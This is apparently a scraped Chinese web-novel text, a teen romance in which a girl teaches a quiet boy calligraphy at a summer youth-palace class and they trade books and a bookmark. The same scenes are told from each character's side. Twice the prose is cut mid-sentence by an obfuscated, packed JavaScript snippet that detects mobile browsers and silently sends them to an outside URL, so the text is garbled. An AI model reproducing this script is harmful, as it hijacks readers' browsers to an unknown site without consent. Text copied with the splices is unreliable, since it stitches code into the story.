第二天,闻弋依旧早早地就来到书法班的教室。 才走到教室门口,她就往昨天他坐的那个位置上看去。 没有人,看来他还没有到。 昨天,他是最后一个到教室的。 今天,不会也是最后一个进教室的吧? 闻弋也不知道为什么会那么在意那个男生来没来,或许是觉得自己还不知道他的名字,觉得有些遗憾。 她走到自己的位置上坐着,拿出从图书馆借来的一本获奖的儿童文学著作——《远方的矢车菊》。 这本书她已经看了三分之二,她想着要早一点看完,看完就能去图书馆借新书。 她看得忘神,周围的嘈杂根本打扰不了她。 班上很多人都到了,她低着头沉浸在编织的世界里,已经摸索到结尾了。 故事的女主人公去世了,她看得内心触动,几滴泪水打在书纸上。 直到书法老师进来,让吵闹的同学们安静,给他们小组安排任务,她才从书里的悲伤中缓过来。 看得太入神,她没听清老师说了什么,转过头想问早已来了但自己没发现的程覃一。 还没等她说话,程覃一就已开口。 “你怎么……”他皱了皱眉头,“哭了?”他边说边拿出一张纸。 闻弋接过程覃一递给她的纸,擦了擦脸上的眼泪。 她把书合上给程覃一展示书的封面。 蓝色的矢车菊映在白底上,有一股淡淡的忧伤。 “我从图书馆借来的书,结局不太好,看哭了。” 闻弋就是这样一个共情能力很强的人,每次看书看到触动她的情节都会让她落泪。 “对了,书法老师说了什么?”她把书放在书包里,想起来刚才要问他的问题。 “老师让我们一起练字,然后各写一幅作品交给他,就可以下课了。” “那我们开始练吧。” 闻弋把书包拉链拉好,然后和程覃一去讲台旁边的桌子上拿墨水、宣纸,还有毛笔。 “今天我们练什么呢?” 闻弋把自己的宣纸放在程覃一的桌子上,用毛笔蘸了蘸墨水,她没想好要写什么,毛笔舔舐着盘子边缘。 她满脑子还是刚才读的那本书的内容。 “有了,”她凑近程覃一,问他,“你读过泰戈尔的诗集吗?” 程覃一摇了摇头。 “那你认识泰戈尔吗?” 程覃一点了点头。 “我刚才想到了他的有句诗,是我在那本书上看到的。” 闻弋说着,打开书包,又从书包里拿出那本《远方的矢车菊》。 她手指不停地翻动着书页,终于定格在某一页上。 她把书移动到程覃一面前,指着书上的一句话,说:“‘生如夏花之绚烂,死若秋叶之静美’,这句话就是泰戈尔的,我觉得好美,今天我们就写这首诗吧。” 程覃一点了点头。 他只会点头,怎么不说话表示一下呢? “你认识朴树吗?” “认识。” “他有一首歌就叫《生如夏花》,也是我在这本书上看到了,可惜我没听过,你听过吗?” 程覃一摇了摇头。 依旧什么话都不说。 闻弋把书合上,放在书包里。 “那好吧,我们开始练字。” 闻弋一笔一画在宣纸上写下刚才那句话。 还在左下角写下自己的名字,名字后加了一个“書”字,然后递给程覃一,让他学着临字。 “昨天,你也描摹了好久,今天来今天来学怎么临字,不过你可以先印着描一遍,再临写,这样学得更快。” 闻弋教了程覃一好几天的临摹,给他布置了很多临摹练习。 初始几天,程覃一的手就像有帕金森症一样,捏不稳,闻弋直接坐到他旁边握着他的手教怎么写。 “不是这样的。”闻弋握住他的手,一笔一画地教他。 “你手太僵硬了,放松。”闻弋感受到他的手像石头一样,似乎不会动。 闻弋偏头看着他。 他耳朵又红了,又不是占他便宜,只不过是作为小老师教他学怎么临字而已,有那么不好意思吗? “好吧,你自己来练。”感受到他的不自在后,闻弋松开了他的手,然后看着他临字。 “这个就好很多。” 闻弋又偏过头看着他的脸,这下好了,不只是耳朵红了,脸也像抹了腮红似的。 她有那么恐怖吗?居然让一个比他高一个头的男生脸红。 经过几天的练习,程覃一的字稍微好了那么一点,看起来没之前那么糟糕了,写字时手也不那么抖了。 闻弋看到甚是欣慰,她甚至想到自己以后要是找不到工作,真的可以开一个书法班,专门收像程覃一这种字不好看的学生。 当然想得很美好,现实却可不这样,程覃一的字好看一点后,老师又给她安排了去教几个小孩子。 那几个小孩子可没程覃一那么好教,吵吵闹闹的,自己不仅惹了一堆小屁孩跟在身后天天问“闻弋姐姐,我写得怎么样”“闻弋姐姐,这个字怎么写”,而且和程覃一相处的时间也变少了。 不对,自己怎么会因为和程覃一相处时间变少感到有些不开心呢? 可能是因为小孩子实在太烦了,没程覃一乖吧? 绝对是这样的。 小老师可不能对学生起歪心思。 近几天,闻弋教的那几个小孩经常不来上课,闻弋又回到了才来时的日子,每天基本都和程覃一待在一起,上完课写完字就往电子阅览室跑。 程覃一虽然话少,但是也好过那群爱叽叽歪歪的小孩。 而且他的字进步很大,真是好学生。 昨天,闻弋从书法老师和隔壁美术老师的谈话中得知市长今天要来了。 今天一来班上,书法老师已经早早到了。 他说今天有活动要在青少年宫的剧院里举行,需要几个小学生去做观众。 他让一个大学生管理班级,好好看着剩下的学生练字。 但是大学生专心致志地写自己的字,完全不管班级里的混乱。 “程覃一,你知道今天市长要来吗?” 闻弋停下手中的笔,抬起头来问程覃一。 “知道,怎么了?” 果然,市长的儿子肯定早就知道他爸今天要来了,不像她,得靠偷听才知道。 “你爸长什么样啊?” 她盯着眼前的男孩。 她想市长的长相应该还行,毕竟程覃一还是很帅的。 男孩听到她的话后,明显皱了一下眉头。 “我爸长什么样?你问这个干嘛?” “我长这么大,还没见过市长具体长什么样。”闻弋不好意思地笑了笑。 “什么意思?市长具体长什么样和我爸有什么关系吗?” “你爸不就是市长吗?”她一脸疑惑,难道是她猜错了? “谁和你说的?” “书法老师说,市长儿子来咱们班练习书法,你一天来,还戴着个墨镜,我以为……”闻弋清楚确实是自己的主观臆想,低下了头,小声说,“我以为你是市长儿子。” “怎么可能?” “你真的不是吗?我还想,你要是的话就能带我去看看市长了。”闻弋满脸失落。 程覃一摇了摇头。 “我和市长一点关系都没有,而且,我特别讨厌我爸爸,请你以后别在我面前问他的事。” 程覃一冷漠的表情把她吓了一跳,虽然他平时也很冷漠,但是现在这副神情让她感到害怕。 她第一次感受到如此明显的不愉快。 “好,实在抱歉。” 闻弋想估计是他和他爸发生了不高兴的事,而她正好撞在他的枪口上。 她把自己的墨水和纸拿回自己的位置,觉得自己还是先别和程覃一说话,等他的火气下去再说。 她在宣纸上写字,毫无心思,想着要不要和程覃一道个歉。 突然,后面的男生戳了一下她的背。 是他消气了吗?闻弋忐忑不安地转过头。 “你为什么想去见市长?” 闻弋松了一口气,原来他是要问这个。 “我喜欢凑热闹,这次市长离我们这么近,你不想见见吗?” 闻弋确实很喜欢凑热闹,毕竟自己对市长只有听闻没有见过。 男孩犹豫了一下,他低下眸。 “我可以带你去,不过我们得藏好位置……” 闻弋瞪大了自己的眼睛,没想到程覃一这么好,居然愿意带她去见市长。 程覃一靠近她的耳边,小声地对她说他的计划。 他们俩以要上厕所的理由先后离开了教室,然后在楼下汇合。 程覃一带着她往剧院后门走。 一靠近剧院,他们就听见了广播里在放着一首歌。 还挺好听的。 “这谁的歌?”闻弋很少听歌,自然不知道。 “这首歌就是朴树的,叫《平凡之路》。”旁边的男生对她说。 原来朴树的声音是这样的,和她想象中的不太一样,她以为朴树是抒情歌手呢。 “你平时不听音乐吗?”男孩问她。 闻弋摇了摇头。听歌对她来说是一件很奢侈的事,她只有在和朋友去逛街听过,或者就是在图书馆待到闭馆音乐《Thetruththatyouleave》响起——这首歌的名字还是她去问图书室的管理员才知道的。 “我父母不让我接触电子产品,我有个能听歌的mp3,但是里面只有我妈妈下载好的英语听力材料。” 程覃一没有再说什么。 他们就这样躲在后门听着广播里的音乐,等别人慢慢走远,他们再偷偷溜进去。 “可以进了,声音小点。” 闻弋紧跟在程覃一身后。 现在是领导在发言,他们马上就要见到市长了。 但是不幸来了。 闻弋撞到了一个化着妆的小孩子。 “闻弋姐姐,你怎么来了?” 闻弋低下头看着自己撞到的小孩,居然是她教的一个小孩子。 原来这几天没来上课是因为在排练演出啊。 程覃一听见声音转过头来示意她不要搭理,要是被别人听见,那可能会被赶出去的。 闻弋没有回复那个小孩,她直起身来跟着程覃一往前走。 但是小孩抓住了她的衣角。 “闻弋姐姐,我是小昀啊,姐姐你没认出我来吗?” 闻弋想挣开那小孩的手,不料那孩子的声音把人招来了。 “小昀,你怎么在这里,快去排队,马上要出场了。”小孩马上松开手,跑走了。 这人声音好熟悉。 闻弋转头一看,居然是书法老师。 “你们怎么在这?”灯光微弱,但是闻弋还是注意到了书法老师脸上的愤怒。 “老师……我们字写好了,想来这看看……”闻弋胡乱编了一个借口。 “就算字写好了也不能来!” 书法老师强硬地把他们带回到教室门口。 “你们知不知道这次活动有多重要,要是被市长看见了,你俩被记者逮住做采访会毁了我们青少年宫的风貌的……” 书法老师一路上给他们科普这次活动的重要性。 闻弋想不明白,自己和程覃一都那么大了,又不是不知道自己该说什么不该说什么。 “谁出的主意?”书法老师让他们站在门口,不允许进去。 闻弋刚想要说话,旁边的男生就开口了。 “老师是我。” “你做五十个俯卧撑,”书法老师指了指程覃一,然后又指着闻弋,“你,做五十个深蹲,你先做,程覃一你数着。” 闻弋开始做深蹲。 好在她体力还不错,五十个深蹲算不了什么。 “闻弋,你数着他做五十个俯卧撑。” 书法老师话音刚落下,闻弋马上反驳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535097|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “老师,是我让他带我去的,我应该替他做二十五个俯卧撑。” 闻弋心里实在过不去,是自己害了他做那么多俯卧撑。 “老师,不是,我也想去看,主意是我出的,全部责任由我。” “不,老师,是我的原因,他不应该做这么多俯卧撑。” “不行,我不管你们谁带路谁想看,总之程覃一必须做五十个深俯卧撑。趴下!” 程覃一马上趴下。 “老师,那我陪他做。”闻弋实在过不去。 老师没说话,就是笑了笑。 闻弋也趴下了。 “一、二、三……四十八、四十九、五十!” 书法老师就这样看着他俩做了五十个俯卧撑。 “做完了,就在这里罚站,等我回来再走。”说完,书法老师离开了 闻弋累得上气不接下气。 她扶着墙大口大口地呼吸着。 “你真傻。”程覃一说。 “那是因为……是我害你受惩罚了……我心里过不去。” 闻弋真的好累,被母亲逼着跳一千个绳都没这么累。 程覃一看着她疲惫的样子笑了。 闻弋还没见他笑过呢。 他笑起来,还挺好看的。 离书法班结束还有十几天,程覃一的书被书法老师收了。 起因是,程覃一在书店预订的那本《追风筝的人》终于到手了,他想着早一点看完借给闻弋看,就带到了教室里。 练字时,他偷偷放在书桌下看,结果被书法老师看见了,就把书没收了。 几天前,闻弋看见他拿着看,还向他借阅。 “这本书是你买的吗?” 某天休息,闻弋看见那本书。 “嗯。”他抬起头来。 “你能借我看看吗?”闻弋渴望看到那本书,看到那本书的名字,心痒痒的。 那本书她在电子阅览室看了几页,但是那次市长来青少年宫的活动结束后,电子阅览室就关了,她也看不了那本书。 真讨厌这只看领导眼色的青少年宫! “我这几天马上就看完,等我看完就借给你。”程覃一答应了她的请求。 但是没过几天,她就没见过那本书了,她还问程覃一是不是看完了,怎么没见他拿出来。 “书被收了。”程覃一告诉她。 什么时候被收的,她怎么没见着呢? “就是昨天,你去教别人练字的时候,我觉得有点无聊,就拿出来看,没想到书法老师看见了,直接拿走了。” “要不,你再重新买一本吧?” 她想,程覃一父母应该不会那么严格吧,毕竟他买了那么多的课外书。 程覃一和她说,这本书卖得太火热了,他等了好久才买到一本。 “而且,重新买要等好久,等书到了,我借不了给你。” 闻弋决定帮他去找老师把书要回来。 她想,书法老师把书收了的原因肯定是因为程覃一字写得太丑了,觉得他不好好练字反而偷摸看书,破坏班里的规矩。 “老师,我想来要一下那本《追风筝的人》。” 闻弋对老师说,还露出很标准的微笑。 她想,老师会不会觉得她的微笑很假。 “这本?”书法老师从书桌里抽出一本书来,书封面上正写着“追风筝的人”五个字。 正是她心心念念的书。 “对。”她不假思索地说。 “这本是你的书?”书法老师发出疑惑。 “是的,这是我的书,我为了鼓励程覃一好好练字,就答应他要是练好十个字,给他看两页,那天他刚好练好了十个字,我就把书拿出来给他看两页,没想到,居然被你看到了……” 闻弋说起谎话来毫不眨眼,眼神完全不闪躲。 书法老师犹豫了一下,最后把书递给了闻弋。 “那行吧,你拿回去,以后注意点,别让他在课上看。” “好的,谢谢老师。” 闻弋把书拿回来了。 她把书递给程覃一,把老师的叮嘱重复了一遍。 “你快点看,但不要在书上看,不然又被老师拿到了,我可不好拿回来。” 程覃一答应她,自己会马上看完,等他看完了,就会把书借给她。 她一直等着程覃一把书看完。 终于,距离书法班结束的第七天,程覃一看完了。 那天他来得很早,小心翼翼地把书从书包里拿出来递给闻弋。 闻弋刚接过,有一张卡片就掉出来了。 她拿起来翻看。 卡片上有几朵很漂亮的花,闻弋没想到程覃一居然会用这样的书签,还是一个有少女心思的男孩子呢。 上面还有程覃一的笔迹,字写得歪歪扭扭的,不过还是能看得懂写的是什么。 他写的是:为你千千万万遍。 “哦,这是书签,”程覃一说,“这句话是书里的。” 书法老师最近教他们练钢笔字了。 闻弋拿起自己的钢笔,在那张书签的空白处照着程覃一写的那行字,写下:为你千千万万遍。 “这张卡片你留着吧,我怕会弄丢,我看书很随意的。” 闻弋把书签还给他。 带着她的笔迹“为你千千万万遍”。 “这本书,我什么时候还你?”闻弋问他。 离结束还有七天,她得赶紧看完。 “就当礼物送给你了,这个假期,谢谢你教我练字。”程覃一低下头,摩挲着那张卡片。 虽然程覃一语气淡淡的,但是闻弋还是感受到了他的不好意思。 他总是这样,比闻弋还不自在,之前还以为他高冷呢。 “真的吗?那你怎么办?” “我和书店老板说过了,等新书来时,他会给我留一本。” “那我收下啦。” 这是她收到的第一本书。 还是来自于一个只认识十几天的男孩。 10. 书签(一) 程覃一第二天来得比第一天早。 他刚到教室里时,教室里人还不怎么多,他站在教室门口,一眼就看到了坐在他前桌的女孩。 她今天换了件绿色的外套,头发依然扎得高高的。她正在低着头看书,看起来看得很入迷。 程覃一轻轻地走到自己的座位旁,担心会打扰到女孩。很显然,女孩根本没在意那些噪音。 程覃一就坐在后面看着她的背影,在想着怎么问她的名字。 昨天和她相处了那么久,自己居然忘记了问她的名字。 没过多久,教室里人就来齐了。小孩子们在吵闹,在教室里跑来跑去。 书法老师也进来了,他大喊了一句安静,教室里瞬间安静下来,吵闹的小孩乖巧地坐回原位,他们看起来都很惧怕这个一脸不好惹的书法老师。 书法老师给小组布置任务的话音刚落下,前面的女孩才抬起头来。 她四处张望,看起来她不知道老师说了什么。 她转过头来看着程覃一。 程覃一看见了她脸上的眼泪,关心的话脱口而出。 他皱着眉头问她:“你怎么……哭了?” 他赶忙从书包里拿出一张纸递给她。 她接过纸,把脸上的眼泪擦干净。 “我从图书馆借来的书,结局不太好,看哭了。” 她给他展示了那本书的封面,他看到书名,叫《远方的矢车菊》,旁边还标着儿童文学获奖作品。 怎么连看个儿童文学都会落泪? 这同情心理也太泛滥了吧。 她问他书法老师刚才说了什么。 他把书法老师的话一字不落地告诉她。 他们把墨水宣纸毛笔拿到桌子上后,开始准备练字。 现在是女孩子教他练字,他要写什么都得听女孩的。 但是,她还在想练什么。 她皱紧眉头,手缩成一拳支撑着她的脑袋。 程覃一看着她沉思的样子,不由自主地观察起她的五官。 她的鼻梁秀挺,程覃一突然很想伸手去摸一摸那好看的线条。 不对,怎么能这么想。 她突然靠近他,问他读没读过泰戈尔的诗集。 他下意识挺直脊背,手指无意识地收紧,面无表情地移开落在她脸上的视线。 她在说泰戈尔的诗集,放轻松,她没有发现他在看她。 程覃一拼命回忆自己对泰戈尔的了解,但只有零星几个记忆点。 他只知道泰戈尔有本诗集叫《飞鸟集》,但他不喜欢看诗集,见过很多次这本诗集,从来没有拿起来看过。 他摇了摇头。 她又问他知不知道泰戈尔。 怎么可能会不知道泰戈尔呢?他还记得小学时背过泰戈尔的一句话,但现在已经完全想不起来了。 他点了点头。 女孩把她刚才看的那本书拿出来,手指翻着那本书。 她低着头,程覃一的目光落在了她的手上。 她的手真好看,纤细,好适合弹钢琴。 程覃一还在想着问她会不会弹钢琴,闻弋停下来手中的动作。 她抬起眼眸望着程覃一,那双眸子清亮得像浸在溪水里的曜石,笑意盈盈。 时间放缓了脚步,他听见自己心跳的声音,像古老的钟摆。 今天是怎么了,怎么老是因为这个名字都还不知道的女孩产生很多莫名其妙的东西。 女孩没有注意到他的那些细微的小表情,她指着某一页上的话给他看: “生如夏花之绚烂,死如秋叶之静美。” 她说,今天就写这个。 她说这首诗是泰戈尔的,写得很美。 嗯,确实很美。 她笑起来,就像夏花一样绚烂。 “不对,程覃一你怎么老是想这些。”他心里像是有一个小人,一直谴责着他时不时冒出的奇怪念头。 她接着问他认不认识朴树。 最近网络上朴树的《平凡之路》很火,他不可能不认识。 女孩说,朴树有一首歌叫《生如夏花》。 她说很好听,但她没有听过。 虽然程覃一知道朴树,但女孩说的那首歌他没有听过,他想,等晚上回家,去搜了听一听。 女孩在宣纸上写下这句话,然后把纸递给程覃一。 程覃一注意到左下角写了三个字——“闻弋書”。 原来她叫闻弋。 闻弋,这个名字还挺好听的。 回家后,他上网专门搜了朴树的《生如夏花》,还挺好听的。 百无聊赖中,他又搜了一下“弋”的含义。 其中有“系着绳子用来射鸟的箭”的意思。 他想起今天下课她又带着他飞快跑向电子阅览室占座位的样子,确实很像“箭”,很快,人如其名。 闻弋给他布置了好多临摹的练习。 开始几天,他临字临得很差。 有一天,闻弋直接坐到他身旁看着他怎么临字。 教室里,墨的清香与陈旧书卷的气息交织,外面下着雨,“滴答滴答”的清脆声,就像程覃一的心跳。 宣纸铺开,镇纸压平,他紧捏着笔杆,感到一丝紧张。 闻弋就坐在他身边。 这让他想起来自己初三时监考老师总爱站在他旁边看他答题,但那时他毫不慌张,怎么闻弋坐在他旁边,他就那么紧张呢? “手腕要平,指实掌虚。”她的声音清清淡淡的,固然像一位严厉的书法老师。 程覃一调整了一下姿势,似乎有些笨拙,更加不自在了。 “不是这样的。”她轻轻叹了口气,那气息拂过程覃一耳畔,带起一阵麻痒。 下一秒,一股温凉而细腻的触感覆上了程覃一的手背。 程覃一的呼吸骤然一滞。 明明在下雨,怎么那么热呢? 是她的手,很软。 程覃一觉得自己的耳根发烫,他想一定红得不成样子。 她的掌心贴着程覃一的手背,那温度并不灼人,可程覃一觉得很烫,也许是自己的心理作用。 她靠得很近。 程覃一几乎能闻到她身上时不时传来的清香味,还混合着墨香。 程覃一不敢侧头,眼角的余光只能瞥见她一截皓白的手腕,和微微低垂的、专注着移动着的两只手的眼眸。 “你手太僵硬了,放松。”她似乎察觉了程覃一的紧绷,声音放得更轻了些,像羽毛扫过心尖。 可这叫程覃一如何放松呢? 她靠得这样近,近到程覃一能感觉到她衣袖的布料偶尔擦过他的手臂。 程覃一的注意力集中在那只被她完全包裹的手上。她的力道很轻,推着他的手腕,在宣纸上落下横横竖竖。 程覃一觉得自己的手完全失去了自主权,像个提线木偶,被她带着运笔、转折、收锋。可偏偏脑子里不是字的间架结构,而是手背上温度和触感。 他拼命想集中注意力在笔尖,可思绪却像脱缰的野马,只反复叫嚣着一个念头:她的手,正握着他的手。 谁会知道他感觉到了什么。可能是感觉到了笔锋的提按,但更强烈的,是那只手带来的、让他头晕目眩的慌乱与悸动。 一个字写完,她并未立刻松开,而是就着这个姿势,微微偏头来看他,似乎在观察他的反应。 程覃一慌忙低下头,看着那个她拉着他的手写下的字。 程覃一感觉自己的耳朵烧得厉害。 她终于轻轻地松开了手。 那温凉的触感撤离的瞬间,手背上泛起一阵空落落的凉意,仿佛刚才的一切都只是个幻梦。 “好吧,你自己来练。” 她这是感觉到他的不自在吗? 真是的,自己真不争气,怎么那么容易不好意思呢? 她会不会觉得自己在想什么歪心思呢? 他边想边循着刚才的感觉写下一个字。 “这个就好很多。” 他转过头,想看她的表情,视线却无处可逃,猝不及防地撞进她的眼眸里。 那眼睛里带着一丝探究,或许还有一丝不易察觉的笑意。 她又偏头来看他。 耳根的热度传到他的脸上。 好热的天,雨再下大一点吧。 练习了几天,他的字稍微好看了那么多。 每天晚上回家,他有时候闲着无聊,就会把闻弋不要了给他的草稿拿出来临摹。 每次练习都会让他想到那次闻弋握着他的手。 他让自己忍住别乱想,可总是忍不了,最后只好妥协。 不过只是一个老师教学生练字罢了。 虽然练得依旧和闻弋的字两模两样,但每天多练一点,也算心理安慰。 临近八月,市长真要来青少年宫勘察了。 闻弋教了程覃一练了几天字后,又被老师叫去教别的小孩子,他和闻弋的相处时间变少了。 自由度更高了,他却有些不开心。 市长要来前几天,那几个小孩没来上课,闻弋又回到了程覃一身边。 程覃一又要面对她的指导还有教训,倒是觉得有些享受。 市长来那天闻弋莫名其妙地问他爸爸长什么样。 她怎么会突然好奇他爸长什么样。 她说她没见过市长的样子。 可是,市长长什么样和他爸长什么样有关系吗? 她不会以为他是市长的儿子吧? 他脑海里想到这个奇葩的想法。 结果,闻弋真这么想。 闻弋说他第一天来时戴着个墨镜,她真把他当成了市长儿子。 她还想要是他真是市长儿子,他就能带她去见见市长的长相。 这几天她那么关照自己的字,不会就是因为她以为他是市长的儿子吧? 程覃一赶紧把脑海里的这个可恶的想法赶走。 她不可能是这样的人。 不过他很讨厌有人问他的的父亲。 他警告闻弋不要提他的父亲。 闻弋说了句抱歉就把墨水和纸放回她的桌子上了。 自己的语气会不会太冷漠了? 她是不是生气了? 程覃一左思右想,反正他有的是办法带她去见市长。 要不干脆带她去看看算了? 程覃一戳了戳闻弋的背。 闻弋转过头来。 “你为什么想去见市长?” 程覃一搞不懂,市长有那么大的魅力吗? 为什么那么多人都想去看? 今早在路上,他还听见有好几个和他年龄差不多大的男生在讨论怎么从剧院后门溜进去见市长。 那几个男生聊了一整路,他也听了一整路。 “我喜欢凑热闹,这次市长离我们这么近,你不想见见吗?”女孩回复他。 他确实不想去看,一个市长,有什么好看的,反正也不能聊上天,就看一面过几天就会忘了,有什么意义呢? 他犹豫了一下,既然她这么想去看,那他就带她去看好了。 “我可以带你去,不过我们得藏好位置……” 他把那几个男生说的方法讲给她听。 “我们现在就找个理由出去。” “好。” 程覃一仔细回想着路上几个男生说的方法路线。 小心翼翼地走。 终于到了剧院的后门。 但是这里是不是有人会出来。 他带着闻弋躲在后门口后面,那个地方进出的人没法看见。 后门口墙壁上的广播放着朴树的《平凡之路》。 他想起女孩刚才在教室里问他知不知道朴树。 他瞟了一眼旁边的闻弋,发现她正聚精会神地听着音乐。 “这谁的歌?”女孩问他。 现在这首歌这么火,她怎么会没听过呢? “这首歌就是朴树的,叫《平凡之路》。”他和她解释。 她平时不上网吗? 他问她平时是不听音乐吗? “我父母不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535098|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让我接触电子产品,我有个能听歌的mp3,但是里面只有我妈妈下载好的英语听力材料。” 原来如此。 她父母居然对她管得这么严,居然连歌都不让听。 他们在门后等了一会儿。 等着后门口没有人了,他们再进去。 从后门口进去的屋子,黑漆漆的,见不到什么光,再往前走,看到了一点光,还有很多桌子和台阶。 这里应该就是他们说的剧院后台。 待会儿从暗处走到对面的椅子处,就能看到市长了。 程覃一想得很周到,但是谁都没想到闻弋会撞到个化着妆的小孩子。 那个小孩子很惊讶居然在这里遇到了她的“闻弋姐姐”。 程覃一叫她别理那小孩子,谁也没想到那小孩拽着她衣角不放,还把别人引来了。 那个人疑心很大。 借着微弱的光芒,他看出来是书法老师。 书法老师也认出来他们俩。 “你们怎么在这?” 闻弋慌张,编了一个理由。 但是书法老师根本不听解释,把他们赶到了教室门口。 书法老师说要惩罚他们。 闻弋被罚做五十个深蹲,他则是被罚做五十个俯卧撑。 闻弋做好深蹲后,莫名其妙说要替他分担二十五个俯卧撑。 “老师,是我让他带我去的,我应该替他做二十五个俯卧撑。” 他赶紧解释是他自己也要去,和她无关。 闻弋又说:“不,老师,是我的原因,他不应该做这么多俯卧撑。” 但是老师根本不听她的话。 书法老师让程覃一趴下开始做俯卧撑。 闻弋也趴下了,老师没有阻止她。 就这样,她跟着他做了五十个俯卧撑。 做完后,老师让他们在教室门口罚站,要等他回来才能走。 老师说完后就直接去剧院了。 程覃一觉得她真傻,明明已经做了那么多深蹲,还要固执地陪他做俯卧撑。 “那是因为……是我害你受惩罚了……我心里过不去。” 她喘着气向他解释自己是怎么想的。 她的脸因为做了五十个深蹲和五十个俯卧撑,变得很红。 她额头上的头发随着她的呼吸一跳一跳的。 程覃一突然觉得她很可爱。 那么固执但那么可爱。 他被自己的这个想法吓到了。 但是她确实很可爱。 从那天之后,程覃一总觉得自己也变得莫名其妙起来。 虽然他一开始就很关注闻弋,但是观察次数好像越来越多,自己似乎已经离不开闻弋了,闻弋只要一消失在他的视线,他就会莫名觉得慌张,像是失去了什么。 市长勘察活动结束后,电子阅览室也关了,他和闻弋单独相处的时间越来越少。 他总是烦躁。 有时候会因为她的某一句话就开始胡思乱想。 那群表演节目的小孩子也回到书法班,她又被书法老师安排了去给其他学生做示范,他很难受,比之前还难受,心里总有一股奇怪的感觉。 他觉得,他才是闻弋唯一的学生,闻弋只能教他。 有时候小孩子经常来缠着她,打扰他们之间的对话,他也很烦躁。 她确实很受欢迎。 这是不可否认的事实。 离书法班结束还有十几天,程覃一委托书店老板给他留的《追风筝的人》到了。 他拿到书后熬夜看了四分之一。 他打算早一点看完,然后把书借给闻弋。 他记得闻弋第一天在电子阅览室说过,她一直想看《追风筝的人》,但是根本借不到,而且她母亲不允许她买书。 为了早一点看完,他还带到了书法教室。 闻弋也看见了那本书。 她向他借阅。 他答应好等他看完就会把书给她。 但是他看到四分之三处时,被书法老师抓到了。 书法老师把书没收了。 这下完了。 闻弋知道后建议他重新买一本。 可是要等很久才能拿到新书,而且那时候,书法班肯定已经关了。 他还能把书借给她吗? 闻弋最后决定帮他把书讨回来。 毕竟她的字那么好看,老师肯定会给她的。 果不其然,闻弋真把书要回来了。 他决定,等自己看完这本书,就把这本书送给闻弋。 为了感谢,他甚至还去文具店买了一张书签。 书签上有几朵水墨的海棠花。 书签上有一条横线,是专供人写字用的。 他最后在这张书签上写下《追风筝的人》里的话:为你千千万万遍。 在这些日子的相处里,他觉得自己真的喜欢上了闻弋。 这样会不会太变态了? 才认识十几天,怎么就会对一个女孩产生了他以为这辈子都不会出现的感情呢? 可是闻弋那么好,确实很值得喜欢。 他看着书签上的那句话,万一闻弋猜到他的心思怎么办? 他打算重新再买一张。 可是那张有海棠花的书签已经是最后一张了,他找了好久才有的。 后来想还是算了,反正那句话就是原文里的,她肯定不会多想。 离书法班结束的第七天,他决定把书送出去了。 但是闻弋没要那张书签,她说自己看书随意,会把书签弄掉。 如果她不解释,他会觉得是不是因为书签上他写的字太丑了。 闻弋用她的钢笔在那张书签上把那句话写了一遍。 很漂亮,再看上面那一行他的字,简直不堪入目。 闻弋把书签递给他。 他放在手中央,等着墨水变干。 他把她的字看了一遍又一遍。 “为你千千万万遍。 为你千千万万遍。 ……” 11. 开学(弋) 八月中旬,树上的蝉发出最后一声鸣叫,为这个即将结束的暑假奏响热烈的尾章。 不过是一个平常的午后,闻弋的录取通知书到了。 “s市第一中学”。 烫金的校名在阳光下发光。 就在前一天,她的书法班课程,也画上了句号。 结课那天,空气里弥漫着一种不同于往常的气息。墨香似乎都沉淀了下来。同学们陆续离开,闻弋正低头收拾着自己的东西,一个身影停在了她的桌旁。 是程覃一。 他好像犹豫了一下,才从口袋里掏出一个小巧的物件,递到她面前。那是一个黑色的MP3,比她用来听英语听力的那个要精致太多。 “这个……”他开口,声音比平时低了一些,“里面我下了一些歌。有流行歌曲,一些大众歌手的,还有一些英文歌和轻音乐。”他顿了顿,指尖摩挲着MP3的边缘,似乎在斟酌接下来的用词,“……另外,还有一些我平时喜欢听的,也放进去了。我都分好了类,你可以自己调。” 说完,他也不等她反应,微微倾身,依次指着按键,告诉她怎么开关,怎么切换模式,怎么调节音量。 闻弋看着他专注解说的侧脸,心里涌起一阵暖意,还夹杂着些许诧异。她轻声问:“你怎么会突然想送我这个?” 程覃一这才抬起眼,快速看了她一下:“你不是说过,你妈妈管得严,不让你听歌吗?我想,你有时候学习累了,或许可以听听音乐,放松一下。” “可是,”闻弋有些不好意思,“你已经送过我一本书了,我不能再收你这么贵重的礼物了。” 程覃一像是松了口气,嘴角扬起一个浅浅的弧度,抬手摸了摸自己的后脑勺:“有什么不好意思的。你花了那么多时间教我练字,我这个学生要是没有一点表示,那才叫不好意思呢。就当是……课时费?” 他最后那句带着点试探性的玩笑,让闻弋也笑了出来。 “那就……谢谢你啦。” “今天是最后一天了。”程覃一忽然说。 闻弋抬起头,目光不经意间扫过他的耳朵。那耳朵在室内光线下,竟然透着明显的绯红。 她低下头,在程覃一看不见的地方嘴角微微上扬。 他耳朵真容易红。 “是啊,”闻弋压下笑意,顺着他的话接下去,“你的字比第一天好看多了。” 她想起初见那天,书法老师看着他的字,眉头拧成了疙瘩,评价说像“甲骨文”。 她心里觉得那笔画盘根错节,更像算命先生画的符咒,带着一种莫名的滑稽感。而现在,他的字虽然仍谈不上漂亮,但至少横是横,竖是竖,工整了太多,能清晰地辨认出每一个字了。 